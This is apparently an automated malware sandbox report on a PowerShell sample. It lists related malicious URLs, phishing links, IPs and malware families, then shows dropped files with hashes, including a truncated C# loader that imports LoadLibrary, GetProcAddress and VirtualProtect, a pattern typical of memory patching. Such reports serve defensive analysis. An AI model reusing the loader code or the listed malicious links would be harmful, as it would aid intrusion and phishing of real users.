	https://survey.zohopublic.com/zs/PYD30j?zs_inviteid=866013344e2f6aaa30b0ce407809ff4bd0ed3ef0b6c505e4b8ed99944a376aa9926823bc48ddf2b3a48337595fd132fdc7dd78d5f9b555e70f8018a33749ece953593d840363543c7e497cb3df5edd8a8ce77772c184384877cf08b30c571942a82188865861cee4768abdb6a85121effaf9893caa395668bdc7d2ea3eb1ad70842f3852386887fd2152473c96af2d214aa22073b82ef4bd897283936adbc27354514f9b6787d1b60b4d554452880bf6	Get hash	malicious	Unknown	Browse
	https://forms.office.com/r/Rv9K1pC66n	Get hash	malicious	Unknown	Browse
	https://forms.office.com/r/yGMEUAyfRy	Get hash	malicious	Unknown	Browse
162.159.128.233	file.exe	Get hash	malicious	LummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRAT	Browse	discord.com/phpMyAdmin/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	OTPAuthenticator.wsf	Get hash	malicious	AsyncRAT	Browse	104.20.3.235
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.3.235
	PjkFCWhi.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.3.235
	client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.20.3.235
	GKrKPXOkdF.zsb.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
raw.githubusercontent.com	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.109.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	XWorm	Browse	185.199.108.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://ascendtransportationllc665121.invisionapp.com/freehand/-4bO4Ia3X6	Get hash	malicious	HtmlDropper	Browse	185.199.111.133
	file.exe	Get hash	malicious	LummaC	Browse	185.199.108.133
	http://www.unlswap-v2.org/applications.html	Get hash	malicious	Unknown	Browse	185.199.111.133
	AX3-GUI-45.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.Win64.MalwareX-gen.5183.18088.exe	Get hash	malicious	77Rootkit, AsyncRAT, DcRat	Browse	185.199.110.133
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse	185.199.110.133
tinyurl.com	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	104.18.111.161
	balcao242609.vbs	Get hash	malicious	Unknown	Browse	104.18.111.161
	https://ibafhfg.r.af.d.sendibt2.com/tr/cl/ei-iIasDUfhajlha_L_PYwmEV0TXG-pmymM0mqP6wJ8jqUBnRevpHf8umV1Cxk0P5A0G7qvQoF39O-oYwRH3RCdSdtx1Y0b_2sg_iXOax_tFc1XZBC3EPtztmZF7qOstNWb2r9nSAsjPU6qj2F8Gg64Ba0d6xBjSEwUcsnsTYaQjAxsh52QvEBY0E7yDJkW8hVMf4Z-UgTv6SrNDoDPMdYdSSvXdtLzPyBKNyGRyOKbA6kM2yCjc-39_2GjmQrGc8IG-6EqDH4Ly9S8KIsA	Get hash	malicious	Unknown	Browse	104.17.112.233
	http://tinyurl.com/fresn30d39d	Get hash	malicious	Unknown	Browse	104.17.112.233
	https://tinyurl.com/NDCEurope	Get hash	malicious	Unknown	Browse	104.18.111.161
	https://sway.cloud.microsoft/lKpl4nBPezd0EfSe	Get hash	malicious	Unknown	Browse	104.17.112.233
	https://tinyurl.com/VYBGWANW	Get hash	malicious	Unknown	Browse	104.18.111.161
	crewssubaru doc.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.111.161
	https://tinyurl.com/3bfs8z6z	Get hash	malicious	HTMLPhisher	Browse	104.17.112.233
discord.com	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	i1XtJZAi.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.128.233
	Wire-transaction073921.exe	Get hash	malicious	SilverRat	Browse	162.159.135.232
	mcbuilder.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse	162.159.135.232
	ied6tTdm.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	Nursultan.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Blank Grabber, Rags Stealer, Umbral Stealer, XWorm	Browse	162.159.135.232

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HQservCommunicationSolutionsIL	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	45.144.31.105
	QTmGYKK6SL.exe	Get hash	malicious	Unknown	Browse	91.194.11.174
	file.exe	Get hash	malicious	Vidar	Browse	91.194.11.174
	mctsc.exe	Get hash	malicious	CobaltStrike	Browse	45.144.30.144
	Form_W-9_Ver-083_030913350-67084228u8857-460102.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	91.194.11.64
	MSI.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	91.194.11.183
	upfilles.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	91.194.11.183
	QII19aQAik.elf	Get hash	malicious	Unknown	Browse	91.194.11.55
	SecuriteInfo.com.Win32.DropperX-gen.26130.25747.exe	Get hash	malicious	PureLog Stealer	Browse	45.144.29.148
	1DH6tNuQSm.exe	Get hash	malicious	PureLog Stealer	Browse	45.144.29.148
CLOUDFLARENETUS	https://community1stfoundation.org/scss/bootstrap/#470	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://community1stfoundation.org/scss/bootstrap/#470	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	104.18.95.41
	9poHPPZxlB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://millersgearupforsport.co.uk/	Get hash	malicious	Unknown	Browse	104.21.72.124
	https://cmp.cws.xfinity.com/utility/tracking/tracking/ClickedUrl?targetId=sdfhawesd-dfhfgjhg-as8d8sa7d-as4f3we-uuu8as9d9dfh_mip_103&serverId=c3po&templateId=dg3aj89k-a1s23d324-2822-3452-as54g35as4da5s4d54s&targetUrl=https://google.com/amp/t.co/8rtzAPqE6l	Get hash	malicious	Unknown	Browse	104.26.13.204
FASTLYUS	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://gdzrdzrgysetgragfvasrtgfsarjk.bukuyass.com/XpfcRthbnrHirMbTaDgYoLKOcxSZUL&4CkOZrkSbfx&135228/372/zgehtiwtaf.home.php?sq=1618-2075&lk=267570-14&page=848	Get hash	malicious	Phisher	Browse	151.101.65.44
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	151.101.1.44
	https://www.polarisoffice.com/d/2RRiXdDV	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www.kisa.link/bPvju	Get hash	malicious	Phisher	Browse	151.101.129.44
	https://pikkorino.com/wp-content/uploads/2018/11/arull.php?7112797967704b536932307464507a53744a4c53704a7a4d7a4c4262497953704e4b55704d7a696c4c31436f727939664e79536b4e533941453dEMAILBASE64	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://url2253.supportasecurity.com/ls/click?upn=u001.8PZYqznGDJ9-2FKUHHWNUI3Edxs36Tp2dyG-2Ba7x1-2FPzVdu3bKXNWn2LvlF5iXWtGEfIsJd795-2F6B3b8l-2FhC2f2zw-3D-3D2w7E_lb-2Bnb9KO-2BNO6xtys7-2FSgJ37Cm7-2FqCsJQuSPzRnbo9rKVbI2R8gs14rAUveIpHhIOrHXcf6q6pmPYVBrx-2F-2FgmjhscUNPFCso8gA9rpmEpgMPU1tcukTovCaYGJYvgHvVJZb2xcZFijRQrxXUqMf-2FDb1lgQXZ51YtzZvTAweZNDb5-2BmntOyGie5zyANnlrWIS-2B-2BsgFV4hER50aWpOErGN-2FpJwQITPvdi69D7CK7usgeKJrAUWK0NG8q4Skck2mCy-2F8CjQ5dmXggB2H7tLJidvPvM9khambrWj8FuwMJCzrK4LNStfQWZUtBYMpMG-2F47lnH0S-2FlyoKmWTn5XlHDdgZK6jAFBZXQVQD9cVti9OL-2BGKGmoU9N9PVXbsielqDx6aAOl8reEdBu-2FhZJovH6Cya7sU67oLz9WOmApinrNrgKyLj9-2FnZke-2FrNXntDN-2BmI9gYOp60vp-2BmyMr1b7X-2Bv-2FDGM6pqmBn9a9cF2wTYfTwH1F2O3hMuhPkvWp9ywQI3RWINRAUEkR395xhdWa3Xy4F0DYcfVrqhhW020n6qgsU6x3XOiTP5FWmNCSSr56o2HqOAE6MqQw8fCBbvm3FUVLvCfZ-2FLn4udwAmpHiaqLRuwXpVdB2abW3LmmCPMufkS0qGEGCEDPfGoZHZTkUmpRbDgXHgfWe7exJBnf-2F5hdOTYiw0mN7YOdfSuhE7vEmDV5XXoZMguGuhnIUi1S5IFDf-2BI6-2BU4PVdd42vN-2BNAzkqjdRwjd1G7lG0QQwrLQSoII9g7PyjntBfNVT9z1w1QZMIcgxRPG-2Fd0G6qwnQ6d2XTx-2BxeQOXeERokCIMuNhXscGUUDnFO-2BODGABIjUJmx99N4zNVrq6NLtNHrav1IahnhJfxQ-2BY-3D&c=E,1,E0lAJItgIyUxbXGpxJtGCBhqXoYkpM6eN57cP_YKhu3ZsbCoe3Y2FTZgOx4X7oPpj_5FBx6MpnelyXgRzl52pHKItnj6fhEACRn26PWJEhywZbLRUfbk&typo=1	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://shop.oebbticket.at	Get hash	malicious	Phisher	Browse	151.101.194.137
CLOUDFLARENETUS	https://community1stfoundation.org/scss/bootstrap/#470	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://community1stfoundation.org/scss/bootstrap/#470	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	104.18.95.41
	9poHPPZxlB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://millersgearupforsport.co.uk/	Get hash	malicious	Unknown	Browse	104.21.72.124
	https://cmp.cws.xfinity.com/utility/tracking/tracking/ClickedUrl?targetId=sdfhawesd-dfhfgjhg-as8d8sa7d-as4f3we-uuu8as9d9dfh_mip_103&serverId=c3po&templateId=dg3aj89k-a1s23d324-2822-3452-as54g35as4da5s4d54s&targetUrl=https://google.com/amp/t.co/8rtzAPqE6l	Get hash	malicious	Unknown	Browse	104.26.13.204
CLOUDFLARENETUS	https://community1stfoundation.org/scss/bootstrap/#470	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://community1stfoundation.org/scss/bootstrap/#470	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	104.18.95.41
	9poHPPZxlB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://millersgearupforsport.co.uk/	Get hash	malicious	Unknown	Browse	104.21.72.124
	https://cmp.cws.xfinity.com/utility/tracking/tracking/ClickedUrl?targetId=sdfhawesd-dfhfgjhg-as8d8sa7d-as4f3we-uuu8as9d9dfh_mip_103&serverId=c3po&templateId=dg3aj89k-a1s23d324-2822-3452-as54g35as4da5s4d54s&targetUrl=https://google.com/amp/t.co/8rtzAPqE6l	Get hash	malicious	Unknown	Browse	104.26.13.204

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	hesaphareketi-01_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	https://www.kisa.link/bPvju	Get hash	malicious	Phisher	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	http://pc.stormshotgame.com	Get hash	malicious	Unknown	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	Scanned Purchase Copy.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	Faktura_VAT__U2409161195150793564#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	SOLICITUD DE PRESUPUESTO 09-16-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.20.4.235 185.199.110.133 162.159.128.233
	HG987654567000.vbs	Get hash	malicious	AgentTesla	Browse	104.20.4.235 185.199.110.133 162.159.128.233

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.2628476117890584
Encrypted:	false
SSDEEP:	3:Nlllul9Y:NllU
MD5:	64F4A29CFEB83AFEE0DBBB4C8DBA2FE0
SHA1:	6E4B196148962DFED486D20262D02F9E7F7ED4E9
SHA-256:	04E7488BA3FCC5CB04FE1830D4AF6DFEBB363F2E42AABB00C01D0332E0FD5863
SHA-512:	E7B1477890F9118FC27F9E1455F17A7265204E9E5402900BCA59217DBE6306F086C5FEBCDC19A5B8F9B0BED64E5C566CDC7B46D87F8D4A723FF96C9EB014138F
Malicious:	false
Preview:	@...e...............................R................@..........

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.249448065298944
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fCzxs7+AEszIwkn23fcA:p37Lvkmb6KRfaWZEif/
MD5:	92BA1418CE467E24D9DC5F4F504FF39F
SHA1:	70B4FCF91538C583700F9A3806050D9FFFCD25B4
SHA-256:	39B36F062273DDA1846C575638F1A087DD7EDBE9BF05972E6A3AC88892D09208
SHA-512:	B00D07F93827A4C9C0BDB3519001424DF192279FB5C5DD0525BA6DAC1A45453F0A20D8FB8F93FD7A2DCE55942602B466A95EA04A564C97F17E3325773FD80A50
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.0.cs"

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.989554125518991
Encrypted:	false
SSDEEP:	48:67pLNvhfeRPBFL5KhSJpCXumw9/vV1ulCqa3tRq:AJhfeR5dx5/GFK
MD5:	C45614A7AF1C499E0700BE21785DDA3F
SHA1:	B3359D695E2F3D7720476EFEA3AC9AD358247723
SHA-256:	DE3B801E15483A19438FFEC5FDAE5A8F1EC19B66E463C4B6915952B10D3BD684
SHA-512:	D1A98C5A597621D866498DB6525EFF15AAA651BE079811DC1079A5B0A7C2CD1A18EA5D93B2F99B40136B5708F33C580BC2434078BBE987D7E2CDFB2DE06B418E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.328520231683544
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRf7EifmKax5DqBVKVrdFAMBJTH:Ckka6C7EumK2DcVKdBJj
MD5:	0AB448486F0EB7B918058D4293CE6784
SHA1:	D3C7D60FC975C49DC1A95C5B6FEB4AB230BD3E9C
SHA-256:	BAD417BA303DA453620EE3B9FD8071BCBFEA2622C1FF20A6AC6E53C287BB4E4A
SHA-512:	C38ACD97747D8FF193B27FEC3D80CBB5C4DB9B84B13A3A232CD6949E927681182E6070B90CAB79227386D115EC155D2CB345E649F33F9DEA33DD8B2D995CE818
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1095332048823545
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry0qak7YnqqtbPN5Dlq5J:+RI+ycuZhNCqakStbPNnqX
MD5:	66C32F739870C72DBFFD436B33777B2B
SHA1:	71CC71C310F5A30D611E554E8B348D6132023606
SHA-256:	E8EC4E6D66BB1E70354250408C13CC7538BFB06F44A21EB5588765FED8145ED3
SHA-512:	A7EB64408E87F5C52372EB91405552EEA1D79DD5768DF7CCDEA77E58751CDA619D1E38433530557B1F7FAD63941E0E5391B39080C8C560F973B6EACF8387D9BB
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.j.z.s.y.b.v.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...4.j.z.s.y.b.v.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES1BAB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:09:18 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9966859471817524
Encrypted:	false
SSDEEP:	24:HazW91+fKYCPDfH1wKEsmNwI+ycuZhNaakSyPNnqS2d:wKYA2Khmm1ulaa3eqSG
MD5:	D7CCB0F6BC9D4BA5940601651AB376B5
SHA1:	ABD542CE208B1BA2F6EC58F6874A6BCADCFC8F1C
SHA-256:	EF168047CECF506C8839562E724B5518E997236C915B44E11A3005D8B81DCD73
SHA-512:	EB97DFF97E04BDD6471DECABB6B5221D96123D72C9D436977884BC9DD45AF565A71C22C6300B27C910EC8F4B09986550255ED1B91C62EE45A1C08AD1D666F862
Malicious:	false
Preview:	L...^..f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\acg3vvmm\CSC2FE6764BCAE044C8A4E5F334AE1DCA7B.TMP...................../.3Ch..............4.......C:\Users\user\AppData\Local\Temp\RES1BAB.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.c.g.3.v.v.m.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES1BAC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:09:18 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.985174911195267
Encrypted:	false
